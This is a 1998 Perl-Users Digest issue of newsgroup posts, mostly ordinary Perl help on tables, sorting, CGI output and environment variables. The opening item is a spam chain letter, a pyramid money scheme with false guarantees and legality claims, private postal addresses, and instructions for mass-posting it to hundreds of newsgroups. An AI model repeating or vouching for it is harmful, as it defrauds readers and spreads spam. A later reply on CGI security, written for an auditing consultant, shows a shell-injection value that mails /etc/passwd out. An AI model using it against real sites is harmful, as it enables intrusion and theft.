[8806] in Perl-Users-Digest
Perl-Users Digest, Issue: 2423 Volume: 8
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun Apr 26 20:07:33 1998
Date: Sun, 26 Apr 98 17:00:23 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Sun, 26 Apr 1998 Volume: 8 Number: 2423
Today's topics:
$$$$$FAST CASH, GUARANTEED, NO RISK$$$$$$ fngiviol@loadsamoney.com
Re: Auto-generate HTML Tables <dtbaker_@flash.net>
Re: best way to find disk space for a directory <rpsavage@ozemail.com.au>
Re: Can I have a C++ program call a Perl program? (Martien Verbruggen)
Re: Defending Perl (Martien Verbruggen)
Re: dynamically creating a hash of hashes, reading keys <rpsavage@ozemail.com.au>
Re: help with s/$foo/$bar/go; oddness (Martien Verbruggen)
HELP! PerlScript <nervick@bewellnet.com>
Re: Perl experts!! help me!! <f1@findapp.com>
Re: Problems with 'wait' under perl5.004 (Charles DeRykus)
Re: push a non HTML document to a web browser? <newsgroups@reza.net>
Re: push a non HTML document to a web browser? (Martien Verbruggen)
Re: Setting environment variables (Martien Verbruggen)
Sorting nested lists in HTML (John Russell)
Re: Text box alignmnet (Martien Verbruggen)
Re: Unique Sort <rjk@coos.dartmouth.edu>
Re: Wanted: Your Perl Hacks <newsgroups@reza.net>
Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 26 Apr 98 12:49:38 GMT
From: fngiviol@loadsamoney.com
Subject: $$$$$FAST CASH, GUARANTEED, NO RISK$$$$$$
Message-Id: <35432d62.0@194.214.162.66>
****************************************************************
* This Article was Posted By an unregistered version of: *
* Newsgroup AutoPoster 95 *
* Send email address for info! Fax: +46-31-470588 *
****************************************************************
Please read the following and think it over. If you don't like it,
then Don't do it - it's no big deal. But if you've got a dream,
maybe this is for you!
~~~~~~~~~~~~~~~~~~~~~
Here's what one successful participant has to say:
THIS MAY BE THE MOST SIGNIFICANT LETTER YOU RECEIVE THIS YEAR!
WOULD YOU LIKE TO START 1998 OFF WITH A BANG!?!?!
GREETINGS!
Hopefully my name is still on the list below. I am a retired
attorney and about two years ago a man came to me with a letter.
The letter he brought me is the same as the letter in front of you
now. He asked me to verify the fact that this letter was legal. I
told him that I would review it and get back to him. When I first
read the letter I thought it was some off-the-wall idea to make
money.
A week later I met again with my client to discuss the issue. I
told him that the letter originally brought to me was not 100%
legal. My client asked me to alter the letter to make it 100% legal.
I advised him to make a small change in the letter and it would be
All right. I was curious about the letter so he told me how it works.
I thought it was a long shot, so I decided against participating.
Before my client left, I asked him to keep me updated as to his
results.
I couldn't believe it, about two months later he called to tell
me that he had received over $90,000 in cash! I didn't believe him
so he asked me to try the plan myself. I thought about it for a few
days and decided there was not much to lose. I followed the
instructions exactly and mailed out 200 letters (via snail mail of
all things!). Sure enough the money started coming in!
It came slowly at first but after three weeks I was getting more
than I could open in a day. After about three months the money
stopped coming. I kept a precise record of my earnings and at the
end it totaled $94,439.00. I was earning a good living as a lawyer,
but as anyone in the profession will tell you, there is a lot of
stress that comes with the job.
I told myself if things worked out I would retire from practice
and play golf. I decided to try the letter again but this time I
sent 500 letters out. Well, three months later I had totaled
$243,178.00!I just couldn't believe it. I met my old client for
lunch to find out exactly how this works. He told me that there were
a few similar letters going around and what made this one different
is that there are seven names on the letter not five like most
others. That fact alone resulted in more returns.
The other factor was the advice I gave him in making sure the
whole thing was perfectly legal, since no one wants to risk doing
anything illegal. I bet now you are curious what little changes I
told him to make. Well, if you send a letter like this one out, to
be legal, you must sell something if you expect to receive a dollar.
I told him that anyone sending a dollar out must receive something
in return.
What we did to make it legal was make it work out so people
sending you $1 we're actually asking you to put them on your mailing
list. So when you send a dollar to each one of the seven names on
the list, you must include a slip of paper saying "please put me on
your mailing list, $1 processing fee enclosed" and include your name,
address (your phone number is optional).(I actually like an
occasional e-mail address too - it's exciting to chat with other
people who are making such simple money! But of course, that's up
to you!)
This is the key to the program! The item that you will receive for
the dollar you send is the letter, your name on the "mailing list"
and the right to earn thousands!
Follow the simple instructions below and in less than three months
you can receive over $97,000.00!
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
<< <<
>> >>
<< IS THIS POSSIBLE? ON THE INTERNET IT IS !!! >>
<< <<
>> >>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
TO BEGIN THE MONEY MAKING PROCESS NOW,
HERE ARE THE STEPS:
A) Immediately send one dollar to each of the seven people listed
below. Wrap the dollar in a piece of paper saying "please add me to
your mailing list, $1 processing fee enclosed" and include your name
and mailing address. Your phone number and/or e-mail address is
optional. (I also like to add what number the person is on the list
so they can figure out how much more they can expect to receive).
B) Take the person in the #1 position off the list, bump the rest of
the names up a position, and then add your name and address to slot
#7. (Be sure to proofread so no one else gets your mail!)
C) Post this new letter, with your name and address and post it to at
least 200 newsgroups (there are currently over 22,000 newsgroups
with thousands of new subscribers every day - no need to worry about
overlapping with someone else) Of course, another option would be to
rent names and addresses from a list company, but in my honest
opinion, posting to newsgroups reaches more people, is faster, and
saves you money that you would have to otherwise spend on bulk
postage! (both ways are 100% legal)
D) Sit back and wait for the envelopes to roll in. THAT'S ALL!
THIS IS A SERVICE AND IS 100% LEGAL
(Refer to title 18, section 1302 &1342 of the U.S. Postal and Lottery
Laws or call the U.S. Post Office at 1-800-725-2161)
HOW DOES IT WORK? CAN I REALLY MAKE MUCH MONEY?
Assume for example you get a 2 1/2% return rate, which is very
conservative.
1) When you post 200 letters 5 people send you $1.00
2) Those 5 people post 200 letters and 25 people send you $1.00
3) Those 25 people post 200 letters and 125 people send you $1.00
4) Those 125 people post 200 letters and 625 people send you $1.00
5) Those 625 people post 200 letters and 3,125 people send you
$1.00
6) Those 3,125 people post 200 letters and 15,625 people send you
$1.00
7) Those 15,625 people post 200 letters and 78,125 people send you
$1.00
At this point your name drops off the list. Think about it. With
Only the first six levels you have received over $19,530.00, and at seven
levels 97,655! Even if it doesn't come out exactly, you STILL make SOME
amount of money!
EVERYONE SIMPLY POSTS UNTIL THEY GET ONLY 5 REPONSES!
DO YOU SEE HOW THAT WORKS?
It works every time, but how well depends on how many letters you
post. In the example above you posted 200 letters, if you posted 500
letters you could receive over $244,000.00. Check the math yourself, I
want you to, but I guarantee it's correct! With this kind of return,
you've got to try it. Try it once and you will do it again,
GUARANTEED!
So, are you still skeptical? If you are, at least do yourself a
favor and print or save a copy of this letter right now and think
about it. That way, when you realize that's there's no way that you
can get scammed from this, you can just go back to it, add your
address, send your $1 to the 7 people listed, post your letter to
some newsgroups, and then wait for the dirty looks from the postal
worker when he/she has to stuff your mailbox full of envelopes day
after day!
So here's the list:
****IMPORTANT**** You must send one dollar to the people listed or
this program will not work properly. It's a very small risk. A very
small expense, HUGE potential returns!
HERE ARE YOUR NEW ASSOCIATES - SEND $1 EACH TO:
(AND YOU'RE NEXT!!!)
**********************************************
* * *
* 1. ATC
* PO Box 434
* Sturtevant, WI 53177-0434
* USA
* *
* 2. AROD
* P. O. BOX 6422
* GREAT FALLS, MT 59406-6422
* USA
* *
* 3. K. FAY,
* MAIN STREET,
* BALLYHEIGUE,
* CO.KERRY,
* IRELAND.
* *
* 4. Timothy Laurent
* 626 E. 115 #201
* Cleveland, OH 44106
* USA
* *
* 5. S.J.O
* 809 Grand Avenue
* Hartford, WI 53027
* USA
* *
* 6. Tera Dae
* RR#2, Site 61, Comp 72,
* SUMMERLAND B.C.
* CANADA
* V0H 1Z0
* *
* 7. Mr. K. Connery
* 61 Connaught St.,
* Phibsboro
* D9, Dublin
* Ireland
**********************************************
To post this out over the internet you could browse through areas
And find the newsgroups that you like, all you have to do is cut and
Paste this letter wherever you are on the internet. Remember it doesn't
Cost anything to post on the Internet. Send out a lot, it's inexpensive.
***Keep in mind there is no limit to the amount of letters you
could post. The more letters you post the more money you make. We strongly
encourage you to post to as many newsgroups as you can. ***
P.S. You've read this far so let me ask you a question.
Q. What have you got to lose?
A. Only 7 dollars.
What you can gain is an income, like the example in the letter. Very
small risk. Very small expense, HUGE potential returns! What do you
have to lose?
WISHING YOU A HAPPY SUCCESS AND HAVE A GREAT 1998 $$$$$$$$$$
P.P.S. We have a very high return at this point! ! !
~~~~~~~~~
HOW TO POST TO NEWSGROUPS FAST WITH YOUR WEB BROWSER:
*** JUST COPY AND PASTE! ***
*** HIGHLIGHT and COPY the text of this posted message.
*** Then PASTE it into a plain text editor (Wordpad or Notepad).
*** SAVE IT.
*** THEN, simply COPY and PASTE the text into the message
composition window, after selecting a newsgroup, and post it! That's it!
(Or you can "ATTACH" the file - see below)
When you first COPY this message in this newsgroup, you need to
highlight entirely with the cursor. Then to PASTE into a text program
you can either use CTRL-V, SHIFT-INSERT, or at the top from your menu
bar click "EDIT" and then "PASTE" (All 3 will work).
------------------------------------------------------------------------
If you have Netscape Navigator 3.0 do the following:
1. Click on any newsgroup like normal, then click on 'TO NEWS'. This
will bring up a box to type a message in.
2. Leave the newsgroup box like it is, change the subject box to
something flashy, something to catch the eye, as "$$$ NEED
CASH$$$?!!READ HERE!$!$!$" or "$$$!!!MAKE FAST CASH, YOU CAN'T
LOSE!!!$$$". Or you can use my subject title.
3. Now click on 'ATTACHMENTS'. Then click on 'ATTACH FILE'. Find your
file on your Hard Disk (the one you saved from the text editor).
Once you find it, click on it and then click 'OPEN' and 'OK'. You
should now see your file name in the attachments box.
MAKE SURE YOU HAVE THE ENTIRE LETTER COPIED BEFORE YOU DO !!!
4. Now click on 'SEND'/'POST'. THAT'S ALL!
You see? Now you just have 199 to go!!!
(You can post to multiple newsgroups with a single posting,
however, use netiquette and only post to 10-20 at a time...no one
wants to scroll through a long list of additional newsgroups before
they can read your message!)(Don't worry, it's easy and quick once you get
used to it.)
NOTE: All the versions of Netscape Navigator's are similar to each
other, so you'll have no problem doing this if you don't have
Netscape
Navigator 3.0.
------------------------------------------------------------------------
(FOR A QUICK TIP)! Netscape Navigator 3.x and above)
You can post this message to many newsgroups at a time, by simply
selecting a newsgroup near the top of the screen, hold down the
SHIFT, and then select a newsgroup near the bottom of the screen.
All of the newsgroups in/between will be selected. After that, you
follow/do the basic steps, stated below in this letter, except step #1.
You can go to the page stated below in this letter and click on a
newsgroup to open up the newsgroups window. Once you've done this, in
the same window go to 'OPTIONS', and then mark 'SHOW ALL NEWSGROUPS' and
'SHOW ALL MESSAGES'. Now you can see all the newsgroups and you can apply
easier the above tip.
------------------------------------------------------------------------
If you have MS INTERNET EXPLORER do the following:
1. Go to the newsgroups and press 'POST AN ARTICLE'. To the new
window type your headline in the subject area and then click in
the large window below. There either PASTE your letter (which it's
been copied from the text editor), or attach the file which contains it.
2. Then click on 'SEND' or 'OK'.
NOTE: All versions of MS Internet Explorer are similar to each
other, so you won't have any problem doing this.
GENERAL NOTES ON POSTING:
A nice page where you'll find all the newsgroups if you want help
is http://www.liszt.com/ (When you go to the home page, click on
the link 'Newsgroup Directory'). But I don't think you'll have any
problem posting because it's very easy once you've found the
newsgroups. All these web browsers are similar. It doesn't matter
which one you have. (But it makes it very easy if you have Netscape
Navigator 3.0 or later. You may download it from the Internet if you
don't have it.) You just have to remember the basic steps, stated
below.
BASIC STEPS FOR POSTING:
1. Find a newsgroup and you click on it.
2. You click on 'POST A NEW ARTICLE' or 'TO NEWS' or anything else
similar to these.
3. You type your flashy headline in the subject box.
4. Now you PASTE the letter. (You have to COPY it from the text
editor, of course, from before.)
5. Finally, you click on 'SEND' or 'POST' or 'OK', whatever is there.
------------------------------------------------------------------------
*** REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY
YOU WILL MAKE!! BUT YOU HAVE TO POST A MINIMUM OF 200**
That's it! You will begin receiving money from around the world
Within days! You may eventually want to rent a P.O. Box due to the large
Amount of mail you receive. If you wish to stay anonymous, you can invent a
name to use, as long as the postman will deliver it.
**JUST MAKE SURE ALL THE ADDRESSES ARE CORRECT.**
(*** CAN ALSO USE: 1) CHAT GROUPS 2) WORD OF MOUTH 3) REGULAR MAIL)
------------------------------
Date: Sun, 26 Apr 1998 16:29:42 -0600
From: Dan Baker <dtbaker_@flash.net>
Subject: Re: Auto-generate HTML Tables
Message-Id: <3543B556.25B4@flash.net>
Reza Naima wrote:
>
> Jonathan Stowe wrote:
> >
> > On Fri, 24 Apr 1998 11:12:06 -0600, johnvv@earthling.net wrote:
> >
> > <snip>
> >
> > > Has anybody created a script which automagically genetrates tables from
> > > complex structures or flatfiles. I would be very nice to HREF the cells in
> > > the process.
> >
>
> I've come up with a very simple approach.... you feed my module an
> array of arrys, and it takes that and forms a table from it. It's also
> expandable. for example, to create a report from DBI, you can do
> something like
>
> $q = $dbh->prepare('select name, phonenumber from address_book)' or die
> ($DBI::errstr);
> $q->execute();
>
> $table = new Table;
> $table->{content} = [ {contentstyle->['font color=white','i'],
> style=>'bgcolor=blue',
> content=>['Name','Phone Number']
> }
> ];
>
> push @{$table->{content}}, @{$q->fetchrow_arrayref};
>
> print $table->generate();
>
> ===
>
> and that's all it takes to make a table, with a cool header.
> let me know if there would be any interest in it.
>
> Reza
--------------------
sounds pretty cool! do you have somewhere on the web you can put it for
download? or, maybe submit it to Matt's script archive (or some other
one?) ?
Dan
------------------------------
Date: Mon, 27 Apr 1998 09:33:06 +1100
From: Ron Savage <rpsavage@ozemail.com.au>
Subject: Re: best way to find disk space for a directory
Message-Id: <3543B622.75C5@ozemail.com.au>
Alan J. Flavell wrote:
...Size of dir...
[snip]
Upoad from Tom C:
#!/usr/gnu/bin/perl -w
use File::Find;
@ARGV = ('.') unless @ARGV;
my $sum = 0;
find sub { $sum += -s }, @ARGV;
print "@ARGV contains $sum bytes\n";
--
Cheers,
Ron Savage
Office: savage.ron.rs@bhp.com.au
Home (preferred): rpsavage@ozemail.com.au
Web: http://www.ozemail.com.au/~rpsavage
------------------------------
Date: 26 Apr 1998 23:33:21 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: Can I have a C++ program call a Perl program?
Message-Id: <6i0g81$6j8$7@comdyn.comdyn.com.au>
In article <Pine.GSO.3.96.980424105951.28300A-100000@hercules.acsu.buffalo.edu>,
Bryan T Hoch <bth@acsu.buffalo.edu> writes:
>
> Hi, I'm running a C++ program and i want to have it invoke a Perl program
> that i have written. I have the C++ program write to a file, then I want
> to call the Perl program to read from that file.
depending on how you want to do it:
'I want to have the standard perl executable read a script and run it'
Look at your compiler's documentation about how to execute external programs. Look at things like fork(), exec(), system() etc..
'I want to have my program execute the perl'
# perldoc perlembed
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | "In a world without fences,
Commercial Dynamics Pty. Ltd. | who needs Gates?"
NSW, Australia |
------------------------------
Date: 26 Apr 1998 23:11:06 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: Defending Perl
Message-Id: <6i0eua$6j8$4@comdyn.comdyn.com.au>
In article <353F5237.5CFB@min.net>,
John Porter <jdporter@min.net> writes:
> Myth: Perl has some installation problems.
>
> Fact: Perl is easy to install, especially if installing
> a precompiled binary.
I actually find it a lot easier to compile perl myself. :)
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | "In a world without fences,
Commercial Dynamics Pty. Ltd. | who needs Gates?"
NSW, Australia |
------------------------------
Date: Mon, 27 Apr 1998 09:40:33 +1100
From: Ron Savage <rpsavage@ozemail.com.au>
Subject: Re: dynamically creating a hash of hashes, reading keys/values from a file
Message-Id: <3543B7E1.594C@ozemail.com.au>
Ing.Martin HEIN wrote:
>
> Hi folks,
>
> I'm a totally newbie to perl, and this is my first major encounter with
> this language.
>
> My troubles are coming from dynamically setting up/building a hash of
> hashes, looking like[snip]
I do this in a labourious fashion, in code which displays C++ class hierarchies and disk directories.
Check my web site for classTree.pl, dirTree.pl and Class::Tree.pm.
--
Cheers,
Ron Savage
Office: savage.ron.rs@bhp.com.au
Home (preferred): rpsavage@ozemail.com.au
Web: http://www.ozemail.com.au/~rpsavage
------------------------------
Date: 26 Apr 1998 23:22:05 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: help with s/$foo/$bar/go; oddness
Message-Id: <6i0fit$6j8$5@comdyn.comdyn.com.au>
In article <354012A9.CA2656C7@coos.dartmouth.edu>,
Ronald J Kimball <rjk@coos.dartmouth.edu> writes:
> Martien Verbruggen wrote:
>>
>> So, the regexp /|/ matches nothing or nothing, which is nothing. Which
>> is exactly equal to //.
>
> Except for the magic of a null pattern, as in //, of course. :-)
Of course, which is a bit of an oversight of me :)
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | "In a world without fences,
Commercial Dynamics Pty. Ltd. | who needs Gates?"
NSW, Australia |
------------------------------
Date: Sun, 26 Apr 1998 16:15:37 -0600
From: "Nervick" <nervick@bewellnet.com>
Subject: HELP! PerlScript
Message-Id: <3543b218.0@news.bewellnet.com>
Does anyone know where I can find documentation on PerlScript?
------------------------------
Date: Mon, 27 Apr 1998 00:35:59 +0300
From: "X.T. Zircom" <f1@findapp.com>
To: Tau Kim <thee@pcrc.hongik.ac.kr>
Subject: Re: Perl experts!! help me!!
Message-Id: <3543A8BF.21617431@findapp.com>
------------------------------------------------
findApp! - the new search engine. http://www.findapp.com/
------------------------------------------------
Hi Kim,
I am sure findApp can help. Go to the CGI/Perl section and find there hips
of tutorials, support and source code.
Peace,
X.T. Zircom
http://www.findapp.com/
**************
findApp! - the new search engine. http://www.findapp.com/
pin-point your search to a specific subject or site and get better results !
******************
Tau Kim wrote:
> Hi, I'm a student studying computer science. And I've got in trouble
> with this!
>
> I'm writing a program which mesures the performance of the compiler.
> Underlying source is C source. I'm trying covert this source to java,
> perl, cobol & etc
> But in other languages except C, I don't know how to mesure the time
> during the loop is performed.
>
> Please somebody give me idea or send the coverted source. HELP
> ME...^.^ (JAVA,PERL,COBOL... anythin' else)
>
> (Please send it via e-mail : thee@usa.net).
>
> ---------------------------------------------------------------
> #include <dos.h>
> #include <stdio.h>
>
> double timeused(struct time *tm2, struct time *tm1);
> struct time start, end;
>
> void main(){
> long i, n;
> float x, t1, t, Mflops;
> n=100000000;
> x=0.;
>
> /* Test Routine */
> gettime(&start);
> for (i=1; i<n; i++){
> x=x*.99+1.0;
> x=x*.99+1.0;
> x=x*.99+1.0;
> x=x*.99+1.0;
> }
> gettime(&end);
> t1 = timeused(&end, &start);
> Mflops = 8.*n/t1/10000000.;
> printf("value of x = %f\n", x);
> printf("Mflops = %f\n", Mflops);
> printf("spending time = %f\n", t1);
>
> }
>
> double timeused(struct time *tm2,struct time *tm1){
> float c;
> /*c=tm1-tm2;*/
> c=
> ((tm2->ti_hour-tm1->ti_hour)*3600+(tm2->ti_min-tm1->ti_min)*60+(tm2->ti_sec-tm1->ti_sec)+(tm2->ti_hund-tm1->ti_hund)/100.);
> return c;
> }
> -----------------------------------------------
------------------------------
Date: Sun, 26 Apr 1998 23:34:08 GMT
From: ced@bcstec.ca.boeing.com (Charles DeRykus)
Subject: Re: Problems with 'wait' under perl5.004
Message-Id: <Es1o4w.4z@news.boeing.com>
In article <35379340.FDD9615E@gs.com>,
Michael Francis FIR LDN <francm@jeeves.fi.gs.com> wrote:
> I am writing a job control module in perl. This allows me to monitor the
> status of a number of processes and to check if they are running for
> more that a desired amount of time (to do this an alarm is fired about
> every 10 seconds, and the run time for the module is calculated,
> processes that are running for too long are killed and the logfiles
> emailed.)
>
> The module worked correctly under perl5.001, we have now upgraded to
> version 5.004. The symptom is that wait always returns -1 even though
> the process has spawned a number of child processes. This only occurs
> following a sigalarm . Does anybody know why this is the case? and if
> there is any way around this?
>
>
Sounds messy enough to post some of your code. There
were changes in signal semantics after 5.001 so there
may be something lurking that needs to be seen and
hopefully caught in the act.
--
Charles DeRykus
------------------------------
Date: Sun, 26 Apr 1998 15:02:00 -0700
From: Reza Naima <newsgroups@reza.net>
To: Martien Verbruggen <mgjv@comdyn.com.au>
Subject: Re: push a non HTML document to a web browser?
Message-Id: <3543AED7.4B536F2@reza.net>
don't forget to print a
content type as well...
print "Content-type: mx/word\n\n"; <-not sue what the mime type is, but
set it first.
> print <FILE>;
> close(FILE);
>
> Martien
------------------------------
Date: 26 Apr 1998 23:02:15 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: push a non HTML document to a web browser?
Message-Id: <6i0edn$6j8$2@comdyn.comdyn.com.au>
In article <3543AED7.4B536F2@reza.net>,
Reza Naima <newsgroups@reza.net> writes:
> don't forget to print a
> content type as well...
>
> print "Content-type: mx/word\n\n"; <-not sue what the mime type is, but
> set it first.
>
>> print <FILE>;
>> close(FILE);
>>
I did. You cut the following from my post that you were replying to:
# Assuming that you have send the correct HTTP headers
which is the line that should be replaced by all that.
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | "In a world without fences,
Commercial Dynamics Pty. Ltd. | who needs Gates?"
NSW, Australia |
------------------------------
Date: 26 Apr 1998 23:28:37 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: Setting environment variables
Message-Id: <6i0fv5$6j8$6@comdyn.comdyn.com.au>
In article <353D6BE0.9C29ADD6@one.net>,
Jeff Spray <jespray@one.net> writes:
> Hello list,
> I have a problem that I need to manipulate a current environment
> variable and then set a new, previously unset variable and make it
> permanent for all subseqent shells that start. I can get them set, but
> they are not permanent. This must be accomplished on NT platforms
> (corporate bought them, not me). Any help would be appreciated. TIA
'ALL' subsequent shells means 'all shells started on this machine
after this time'
This question was answered for the specific needs of NT a few months
ago on this newsgroup. You will need to do a search on dejanews (It's
something with the Win32::Registry module)
'ALL' subsequent shells means 'all shells started from this program'
Check the FAQ.
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | "In a world without fences,
Commercial Dynamics Pty. Ltd. | who needs Gates?"
NSW, Australia |
------------------------------
Date: Sun, 26 Apr 1998 23:17:59 GMT
From: john13@interlog.com (John Russell)
Subject: Sorting nested lists in HTML
Message-Id: <3543b5a7.27209355@news.interlog.com>
I've got a sort problem that combines several problems. I've read
everything FAQ-like about sorting I could find, but didn't find
anything that fit the bill.
I have some nested lists in HTML that I am sorting, e.g.
<menu>
<li>Some stuff (extraneous junk)
<li>Some stuff (different extraneous junk)
<li>Some more stuff
<li>A little nested stuff
<menu>
<li>Singly nested
<menu>
<li>Doubly nested
</menu>
</menu>
</menu>
Catches:
- Needs to be able to handle multiple locales. OK, I can "use locale"
to do that one, although my reading seems to indicate I can't use it
with my Activeware level of Perl (5.003_007).
- Since this is HTML, there might be &# and &; style symbols scattered
throughout that I guess would have to be resolved for the correct code
points for the locale and then sorted according to locale.
- When the first parts of two lines are the same but the "extraneous
junk" is different, I need to combine the lines (or sets of nested
entries) into one.
What I am doing right now is creating a form with each entry on its
own line, e.g.
<li>Some stuff
<li>Singly nested (extraneous junk)<menu><li>Some stuff</menu>
<li>Singly nested (extraneous junk)<menu><li>Some more stuff</menu>
<li>Doubly nested<menu><li>Some stuff<menu><li>Some more
stuff</menu></menu>
and sorting things via Schwartzian transform. Works OK for English,
except for a slight hitch getting rid of all the extra <menu> and
</menu> tags at the end.
Anyone know of a general-purpose solution that handles the nesting,
the HTML symbols, and the multiple locales?
John
--
John Russell
john13@interlog.com, http://www.interlog.com/~john13/
------------------------------
Date: 26 Apr 1998 23:05:24 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: Text box alignmnet
Message-Id: <6i0ejk$6j8$3@comdyn.comdyn.com.au>
In article <6hc0e2$rj3$1@gte2.gte.net>,
"William Shaffer" <wpshaf@gte.net> writes:
> Hi
>
> Does any one know how to get text boxes to line up vertically?
Text boxes? perl has text boxes?
> I want to have text boxes out from a *.cgi script (wwwboard) line up
Uhoh.. It's CGI. That makes this a HTML question, I guess. You should
direct all your questions about web-related things to one of the
groups in comp.infosystems.www.*. There is even a HTML group.
HTH,
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | "In a world without fences,
Commercial Dynamics Pty. Ltd. | who needs Gates?"
NSW, Australia |
------------------------------
Date: Sun, 26 Apr 1998 18:21:33 -0400
From: Ronald J Kimball <rjk@coos.dartmouth.edu>
Subject: Re: Unique Sort
Message-Id: <3543B36E.A8F5760E@coos.dartmouth.edu>
Henry Lifton wrote:
>
> I have a dbm file where there is one unique key. one of the fields is the
> city name. I want to sort a list just of the cities. Since many of the
> records have the same city, I want to extract each city only once.
One unique key? You mean there is only one record in your hash? Huh?
> I want to use them in a list box in a form.
>
> What I have now is :
>
> @buildings_keys = keys %buildings;
> @sort_keys = map {
> [ (split /\|/)[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17]]
[0..17]
Alternatively,
[ (split /\|/, $_, 18) ]
and ignore the last element later on.
> } @buildings{@buildings_keys};
>
> @ordered_keys = @buildings_keys [ sort {
> ${$sort_keys[$a]}[5] cmp ${$sort_keys[$b]}[5]
> } 0..$#sort_keys ];
>
> foreach $city (@ordered_keys)
> {
>
> ($bid,$agentid,$bldg,$x,$x,$city,$x,$x,$x,$type,$x,$x,$x,$x,$low,$high,$x,$x)
> = split('\|',$buildings{$city});
($bid, $agentid, $bldg, $type, $low, $high) =
(split /\|/, $buildings{$city})[0, 1, 2, 5, 9, 14, 15];
Remember, the first argument to split should generally be a regexp, not a string.
> print "$city<br>";
> }
>
> Can anybody give me a clue how to print only the first occurence of each city
Use a hash with the cities as keys. Then you'll only have one occurence of
each city.
What does your data look like?
--
_ / ' _ / - aka - rjk@coos.dartmouth.edu
( /)//)//)(//)/( Ronald J. Kimball chipmunk@m-net.arbornet.org
/ http://www.ziplink.net/~rjk/
"It's funny 'cause it's true ... and vice versa."
------------------------------
Date: Sun, 26 Apr 1998 15:07:27 -0700
From: Reza Naima <newsgroups@reza.net>
To: gzoller@hotmail.com
Subject: Re: Wanted: Your Perl Hacks
Message-Id: <3543B01F.806FDD40@reza.net>
gzoller@hotmail.com wrote:
>
> I need to collect as many perl CGI security hacks as possible.
>
> NOTE: I am *not* breaking into web sites with this information!
>
> I am a consultant who's client is (I believe) not taking
> enough security precautions with his perl code. I'm trying
> to demonstrate (in the presence of my client) that someone
> can do unintended things unless he lets me install some
> checking/validation code.
>
There are tons of ways to exploit imporperly written perl cgi's. but I
can't provide a list of how do do a lot of things... the simplest way is
too look at the source and determine how it's exploitable, or else look
at the form, and try a few things till one works.
a lot of times, mail is sent out as open MAIL,"|mailx -s foo $email";
well, if the user can edit $email then set it to
; cat /etc/passwd | mailx me\@me.com
basically, look for the following...
open,exec,eval,system,rename,unlink, `, qx//, etc....
and make sure ther is no way for the user to modify any of their
contents.
-Reza
------------------------------
Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V8 Issue 2423
**************************************
